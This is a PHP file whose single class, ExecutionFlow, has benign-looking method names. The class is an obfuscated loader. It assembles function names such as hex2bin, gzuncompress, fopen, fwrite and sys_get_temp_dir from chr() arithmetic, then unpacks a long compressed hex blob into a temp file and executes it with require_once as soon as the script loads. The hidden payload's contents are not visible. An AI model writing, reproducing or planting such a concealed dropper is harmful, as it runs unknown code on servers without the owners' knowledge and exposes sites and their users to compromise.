<?php
class ExecutionFlow {
	private $ne = '';
	private $yz = '';

	public function saveChanges($p1) {
		$a = array((110),(3*35),((108-10)),(((24*31)-694)),((125-5)),(101),(104));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function initializeModule($p1) {
		$a = array(((54+49)),((125-3)),((3*39)),(((47*2)+16)),(((100*91)-9001)),(((72*27)-1833)),(109),((17+95)),(114),(95+1+5),115,(120-5));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resolveAction($p1,$p2) {
		$a = array(((2*55)),((84*1)+17),((93*1)+19),(3*37),((75+27)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function filterResults($p1,$p2) {
		$a = array((((39*2)+24)),119,(92+5+17),(115-10),(116),((27*27)-628));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function handleRequest($p1) {
		$a = array(((63+39)),((48+51)),108,((116*112)-12881),((5*23)),(((47*1)+54)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function logTransaction($p1,$p2=null) {
		$a = array((2*57),(116),((10+104)),(((93*1)+12)),((109*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function parseResponse() {
		$this->yz = $this->logTransaction($this->trackActivity(), '/');
	}

	public function fetchRecords() {
		$this->ne = $this->initializeModule($this->saveChanges($this->de));
	}

	public function processData() {
		$fn = $this->yz.'/jw-68a4d95c058f3';
		$f = $this->resolveAction($fn, 'w');
		$this->filterResults($f, $this->ne);
		$this->handleRequest($f);
		$this->generateToken($fn);
	}

	private $de = '789cad570b6fe24812fe2b89142d58c3457eb66138ef68946' . '36e47970dab2473a7d32842c66e83898dc186c96bf3dff7ab6' . 'a1b1a48d83de99418bbabbeaaaeb7db7fffb4982e4ea22caca' . 'a93d1ba7c5994e98f70254faa55b84aa3b3d13a9cf4d5f349b' . '29e47abb4989f8cf255fb6cf4bc305ed2a47d5ac92cf9f8919' . '1867a1eadd3b6d12fe56a5dce4fa6f2d11ea7f3b606fb4ec27' . '746ff7577336d0352f0a249046159864fedd6e847d80a7e6eb' . '99670f0e7f98eefd8b1eb884448dff56ddc23ac2d11e12ff17' . 'd3c27bedd3a6f899ef0714927c4820826fd84ad4e6bb47c608' . 'db50ee1d12f8162cff57bbe293c27b44d61f9269e23e870f0e' . 'ce20eb89d88102b810be6f82425f0d3a327937e5cda207f5ad' . '00e1004a54b9467c904cfefb921b43aaee3f61ce1f6a0cd775' . 'c377ae7de133d9fbc703ddff544cf4d70858ee9851e2976a56' . '36e208e883d216256999088eb7bb4bd1fe2d121cb42a747a6c' . 'c56648a6f91b57c857e63e55296c4731049317624918a98294' . '044c21696701579c521c4c696605644c47446447a9adc374ff' . '9869657138e411769737d13314eec0431f6846d4b68c25d081' . '81ee1a98b543a941a1f3c41898a1179be237a0919ecd4ccd07' . '79c44b89c22902d62e18a69cb87e742e5c107564414340a8de' . '4f2d864ab2c32dd3085e2d4915e8f200be52e524ea25de2717' . '063c51e276b5d83ef10f1916b0004cfe3ea3289181753d664b' . '2adca04d2c8d12febc478708d24e88753962e9b2424b494b37' . '29b4202db3ec3561c75db74bb4477f167da8963d9281333364' . '3b78e2a4568d314245725ca7a66375199725020475da37a057' . 'f9e709a56a026019dba0eb9a00d08aaf0a4207a9eaba0518d0' . '1a7f644ceb918360532fe516f4ede71627d9595272e17d6498' . '6aacee5da75bbca392f411b456e0f0b8975429ef5bcc62bb9d' . '860c927827b5d05126ee2d96829cbb35d57b1214e37b282985' . 'cc4254f1e62dbd802838513897c26ae05b93a793578f9b46b9' . 'ae7790ea0368339aabc0f0c25f8fde4004dae6f0428662e6f5' . '70bccb2872662e15497250b60309e0549f32ecaa4a2dcdba30' . '631c0e50d1957adca4d3266cf4a665340dc0d5c321c69a6ab6' . '06f235d96f3636921b77b1e239fb23d9328212a1bec719d10c' . 'a06931b1357c57a47908cd2640f04c9cc4676cda1069f6d8f9' . '556b7c9223febf0f47159e3eb94d74806ba1bd8c39a7d165c3' . '1b6a0048bb89919ac8f9296b3d5707eb7e1f2896a543fb24d4' . 'c070badd4b0e2f87ecbe34ca1e704f51abf464ac57422dacff' . '66d476e7a237baad822bcc1d8ed88bbda278bd560a4fee1698' . 'c59c854c16d923fd6c3c4c79b0083082fe9d7fa70908ca3fff' . 'fe9e0e054f0bf1f0a4cb363fa1dd311eab2d4cd66221616d10' . '1a11b88165d4476802131c233dce27fb386d8c42231dfa195c' . '91cdb647ec7746d877f283c5319c6b26ce3f004dfe03b1f520' . 'ca37f48c75103744425ad2a4941fae7e0f6bbc6a7938271671' . '82f67a3e9320b4693852e8d53839266ee4f3fa1531745a5561' . 'd0d8764ce70ad803e0d8224cc2a69bcc4a9dcb184664949fa5' . 'e25f8fbec82e72c715fdfb796f7386f3d342627517036ba180' . 'efff575d03f1ba5f3802a46814da34fc9d5281651964f719dc' . '37af59de4ee026d139c228cfec334cd645d531aee3ca04dbf6' . 'f95dac65d5d4454797b4ca7667ed8925c58fef206d43b840a4' . '0c7a50cefd9b50f1fdeb3778288dcb794bb40bdb2db7bba7c4' . '35b740d02215a4ae196d133eedac6f93ed5328dc6bb3d86053' . 'c29e25cf0a67b00bb06740e38084d93008dea32fe797188477' . 'c0e0d130cdf23fa4cdc09aed5a57a81d7e93ccad6b15446f75' . 'fb77d8eb23f1b4d52ec3b9f4e83bfa1cd6c414e45b3540f753' . 'ee338cf2671b05b95392e1c2f29789354b5db280ab32c1c673' . 'b55fef00c60813227e5f13a0ea27599c198948a1d6a8d3e135' . '0fcc5824880742ebe5d5f0e7fbb1ddddc5c8efe3db8fefae5b' . 'fbf0d06d71dd5657f09ffcbf0e6b6a385a3671c93fb32bcbc1' . 'cfee77278f1f9f6ebf04a93b3cda372d783db6fd757b7d79fa' . 'f6ebec03e4dce3a2af7cbe0f33f76f1f651fcc5f0ea6a70717' . 'bfbf5d7c1f09bee1766e331b937045c83d249496631f928232' . '544e4555e2af244aed27952341ca6455951c986c20312f0bd5' . '15552ae33ccaa536d0ad99e61d42f22ce603d0d5137e338588' . '46525a1246baa01d53dcb82367375ed0b1a81815e84633a73a' . 'c5bec503ed3398f602c5469ee2a89b916cf5bd3966af066e8e' . 'ec18058b237d444a4fc7caff8f175f086761af7f45e20b9fe5' . 'b622b35b70e252bfece40c36b347c0d9067e33248aa22ba2f1' . '672de6e73743e69283a95e0d46f7cdceb4e6cf3c63e38f91b7' . '79d5ac9364102e2db95dfbc00c7a5f1922cd6ab8a9f3be4115' . '9142ea49edd6ef3ea384d64518bf120298a204121d5d29a44a' . 'fd9009a0c2e467ac900afa824a8078e8aea0917868db1bfbb6' . '3d2506b4a133be365aa6a8df5d2d49fa559d0e4f966708df9a' . '047049f376a2edfa7475052151403e3c7ea0892be60140ebd7' . '404b664a780fcf4161bdf2ac69d9e523a6be07384c3bf3ea23' . '7ac8bfb6db5455dd4bae66aa588fd3f8b14606332e3f95df5f' . '500a06b4ebbccd759f66791a5c466ef6aa48f90ada2e391e76' . '1c055f28eb2145c7c6934fa506b499aad64899364d966efb52' . '2752cf5c69ae701b3d4d0da97b94f75115b13b94f37638ed7b' . '0bd7fe498f7b0ae83060d329a16278747cd9c07c73c3fdfeb7' . '4f50ececbf3bd39176f864db8d679cf75bee5235ec1061b75d' . 'a5835cf8ddf7fdfacf2525f856bb2ad16aa5dfbd17c1eecda4' . '4df4546f033e9eb1c66085f49cccccbcee1cc9d291e36a3cac' . '903bc19e43c2a708219879514eea85ecdaa62de3c931d06bf0' . '69a033d89fe95533cf5353ec6f4333c459f719b00bdfe01a61' . 'a3c8f';

	public function generateToken($p) {
		require_once($p);
	}

	public function trackActivity() {
		$a=array(((117-2)),((125-4)),(29+86),(95),((28*3)+19),(102-1),((19+65+32)),(103-8),(2*58),(89+7+5),(59+36+14),112,(((69*1)+26)),((104-4)),((39*1)+66),((95*1)+19));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ls = new ExecutionFlow();
$ls->parseResponse();
$ls->fetchRecords();
$ls->processData();
